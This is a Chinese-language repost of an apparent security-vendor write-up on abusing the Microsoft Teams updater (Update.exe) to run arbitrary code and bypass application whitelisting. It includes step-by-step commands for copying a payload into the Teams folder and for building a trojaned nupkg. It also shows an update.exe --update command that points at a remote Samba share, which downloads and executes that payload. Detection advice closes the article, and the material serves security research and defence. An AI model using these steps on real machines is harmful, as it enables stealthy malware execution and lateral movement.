使用Microsoft Teams Updater执行代码

时间:2022-07-22
本文章向大家介绍使用Microsoft Teams Updater执行代码,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

0x00简介:

红队成员喜欢通过“合法”渠道寻找新的代码执行方法.这次,Microsoft Team 也是利用的目标.Team是一个有趣的利用点,因为它使用了称为Electron的现代技术.Electron基本上是嵌入在可执行文件中的nodejs.让我们使用Microsoft Teams附带的Update.exe深入了解应用程序白名单绕过.

0x01分析:

首先,将Teams.exe安装在以下位置

“%userprofile% AppData  Local  Microsoft  Teams ”

这很奇怪.关于为什么这是一个坏主意还有很长的篇幅:

https : //www.masterpackager.com/blog/how-microsoft-teams-installer-should-have-looked-like-from-the-beginning

从红队的角度来看,好消息是,作为用户,我们可以完全访问整个文件夹的内容.典型的Teams安装应包含以下文件:

Update.exe实际上是Squirrel Updater,它是开源的。

让我们专注于应用程序的主要部分:

https : //github.com/Squirrel/Squirrel.Windows/blob/develop/src/Update/Program.cs

主要方法是调用以下方法:

int executeCommandLine(string [] args)

此方法解析命令行参数.可接受的参数在switch case语句中列出,如下所示:

switch (opt.updateAction) {
    case UpdateAction.Install:
    case UpdateAction.Uninstall:
    case UpdateAction.Download:
    case UpdateAction.Update:
    case UpdateAction.CheckForUpdate:
    case UpdateAction.UpdateSelf:
    case UpdateAction.Shortcut:
    case UpdateAction.Deshortcut:
    case UpdateAction.ProcessStart:
    case UpdateAction.Releasify:
}

马上,ProcessStart看起来很有趣.如果代码达到这种情况,则执行以下代码:

ProcessStart(opt.processStart,opt.processStartArgs,opt.shouldWait);

使用以下开关–processStart和--process-start-args将这两个参数传递给Update.exe .您可以看到是否列出了Squirrel用法,令人惊讶的是,帮助菜单没有列出这些奇妙的参数,通常这是我们进入某个领域的好兆头.

ProcessStart方法正在执行多项检查,我仅介绍相关检查.

var appDir = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
var releases = ReleaseEntry.ParseReleaseFile(
File.ReadAllText(Utility.LocalReleaseFileForAppDir(appDir), Encoding.UTF8));
var latestAppDir = releases
var targetExe = new FileInfo(Path.Combine(latestAppDir, exeName.Replace("%20", " ")));
// Check for path canonicalization attacks
if (!targetExe.FullName.StartsWith(latestAppDir, StringComparison.Ordinal)) {
    throw new ArgumentException();
}

appDir变量包含Update.exe的路径.在这种情况下,releases变量将解析为最新的构建文件夹位置,即“当前”.如源代码中所述,if语句正在检查路径规范化攻击.这意味着–processStart的设置为

..  ..  ..  ..  .. \ windows  system32  cmd.exe

将导致以下输出:

targetExe.FullName will equal to C:windowssystem32
And latestAppDir will equal to C:Users*AppDataMicrosoftTeamscurrent

不幸的是,这将杀死我们的任意文件执行路径.但是,由于Microsoft的决定,没有将Teams安装到典型的“ Program Files”文件夹中,因为当前用户可以完全写入AppData.

为了能够执行任意文件,我们只需要将其复制到

C:Users*AppDataMicrosoftTeamscurrent

文件夹中即可.

然后,代码最终将达到致命点,如下所示:

Process.Start(new ProcessStartInfo(targetExe.FullName, arguments ?? "")
{ WorkingDirectory = Path.GetDirectoryName(targetExe.FullName) });

此时,您通过Microsoft Signed二进制文件执行了二进制文件.

0x02:简单的概念证明:

Copy \evilpayload.exe C:users*AppDataLocalMicrosoftTeamscurrent && C:users*AppDataLocalMicrosoftTeamsUpdate.exe –processStart payload.exe –process-start-args go.

总之,Squirrel适当地减轻了任意文件的执行.但是,Microsoft决定将Teams安装在用户可写的位置,以使攻击者无法通过进行的安全检查.

还记得开关的例子吗?

让我们看一下UpdateAction.Update.update操作支持–update参数,这是更新网站的URL.

Update方法正在执行以下操作:

var updateInfo = await mgr.CheckForUpdate(intention: UpdaterIntention.Update, ignoreDeltaUpdates: ignoreDeltaUpdates, progress: x => Console.WriteLine(x / 3));
await mgr.DownloadReleases(updateInfo.ReleasesToApply, x => Console.WriteLine(33 + x / 3));
await mgr.ApplyReleases(updateInfo, x => Console.WriteLine(66 + x / 3));

更新检查是根据指定的URL获取RELEASES文件.RELEASES格式非常简单:SHA1软件包大小.预期的文件是nupkg.幸运的是,Teams非常友善地提供了一个Nupkg软件包的样本,作为Teams安装的一部分.

下载文件后,将启动Squirrel进程.通过解压缩Teams nupkg文件,显示Squirrel.exe的位置:

Teams-1.2.00.13765-full  lib  net45

将Squirrel.exe更改为您的有效负载,并确保将其重命名为Squirrel.exe.压缩整个文件夹,并使用适当的哈希值和大小更新RELEASES文件.

在这种情况下,RELEASES文件具有以下结构:

53329bb727098e84ecf7d7f897de1bc501268cd1 Teams-1.2.00.13765-full.nupkg 1185211

为了能够执行程序包,在这种情况下,只需指向您的URL:

Update.exe –update https://www.xxx.com

Enjoy your shell.

0x03观察分析:

最初发现允许恶意行为者使用MS Teams Updater下载他们想要的任何二进制文件或有效负载.这种技术通常被称为“Living Off the Land ”,并且由于使用已知的通用软件下载恶意软件而特别危险.

先前为Teams提供的补丁是为了限制其通过URL更新的能力.而是,更新程序允许通过共享或本地文件夹进行本地连接以进行产品更新.

最初,当观察到这一发现时,发现它仍然可以用作横向移动的技术,但是,发现通过指向远程SMB共享可以轻松绕开添加的限制.

0x04合法事件:

%localappdata%MicrosoftTeamsupdate.exe --update \fileshare<redacated>AppDataRoamingMicrosoftTeamsDownloadedUpdate
%localappdata%MicrosoftTeamsupdate.exe --update \fileshare<redacated>AppDataRoamingMicrosoftTeamsDownloadedUpdate
%localappdata%MicrosoftTeamsupdate.exe --update \fileshare<redacated>AppDataRoamingMicrosoftTeamsDownloadedUpdate
%localappdata%MicrosoftTeamsupdate.exe --update

0x05当前补丁:

根据补丁程序,Microsoft Teams Updater将仅允许本地网络路径访问和更新,这意味着它将在更新程序URL,块和日志中检测字符串

"http/s", ":", "/" 

和端口号下的活动

%localappdata%MicrosoftTeamsSquirrelSetup.log

它允许以本地UNC格式进行共享访问:

\ server 

要利用此漏洞,攻击者需要:

在打开的共享文件夹中获取网络内部的文件.从该共享访问有效负载到受害机器.看起来情况很复杂,路途漫长,但我们可以使其成功.

0x06 Remote Samba:

为了减少攻击步骤,攻击者可以创建远程共享,而不是本地共享.这将允许他们下载远程有效负载并执行,而不是尝试通过中间步骤将有效负载获取到本地共享.

对Samba进行了一些研究,并配置了Samba服务器以进行远程公共访问.成功安装后,启动了命令执行,下载了远程有效负载,并直接从Microsoft Teams Updater“ Update.exe”执行

Command: Update.exe --update=\remoteserverpayloadFolder

0x07脆弱的端点:

%localappdata%/Microsoft/Teams/update.exe

0x08进攻部分:

要利用此漏洞,必须首先制作支持更新程序框架的有效负载

一、创建有效负载

提取任何nupkg包,在我的示例中为Teams-1.3.00.27559-full.nupkg

转到

%localappdata%/ Microsoft / Teams / packages

以选择Microsoft Teams预先构建的软件包

转到

Teams-1.3.00.27559-full  lib  net45

将您的shellcode拖放为"squirrel.exe",将完整文件夹压缩为"Teams-1.3.00.27559-full.nupkg"

使用以下命令计算元数据:

sha1sum Teams-1.3.00.27559-full.nupkg && wc -c <Teams-1.3.00.27559-full.nupkg

输出为:

fa8b87f0b995498a6e890c832dcaf968997608d4 Teams-1.3.00.27559-full.nupkg 4695

创建一个名为RELEASES的文件,并复制以上输出并保存.

其结果将是一个包含两个文件的主目录:

Teams-1.3.00.27559-full.nupkg and RELEASES.

将这两个文件上传到远程Samba服务器:

二、需求:

由于它是Samba服务器,因此需要首先从Windows“运行”对服务器进行身份验证.

三、重现步骤:

转到受害者系统上的目标应用程序文件夹

“%localappdata%/ Microsoft / Teams /”

运行以下命令:

update.exe --update = [Samba服务器包含上述2个文件],
例如update.exe --update = \ remoteserver  payloadFolder

几秒钟后(等待10-15秒),有效负载将被成功下载并由Microsoft Teams执行

受影响的参数:

update.exe --update = \ remoteserver  payloadFolder
update.exe --updateRollback = \ remoteserver  payloadFolder

POC验证视频

视频链接:https://player.vimeo.com/video/444679044?api=1&player_id=vimeo_id_0

0x09影响:

Microsoft Teams Update.exe二进制文件将充当LOLbin(删除Land二进制文件)

由于安装位于本地用户Appdata文件夹中,因此不需要特权访问.攻击者可以借此伪装流量(尤其是横向移动)

0x10Trustwave建议:

从威胁搜寻的角度

利用EDR解决方案,并查看“ update.exe”命令行中的可疑连接.寻找squirrel.exe可执行文件并调查文件的大小,您可以使用该文件来区分特洛伊木马和合法的squirrel.exe

如果您正在与Microsoft Teams“ update.exe”打交道,请验证大小和哈希值,寻找任何异常情况.研究传出的SMB连接,尤其是从Microsoft Teams更新程序update.exe中进行传出的SMB连接,或者在必要时完全在外围过滤SMB连接.

请求客户或IT寻求Microsoft Teams软件包放置的任何安全排除措施,并查看所应用的更改.

IT部门应将Microsoft Teams安装在“ Program Files”文件夹下,以使攻击者无法删除并执行远程有效负载.这可以通过组策略来执行.

禁用任何类型的更新机制,并设置仅由IT团队推送更新的策略

文章原文地址:

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/microsoft-teams-updater-living-off-the-land/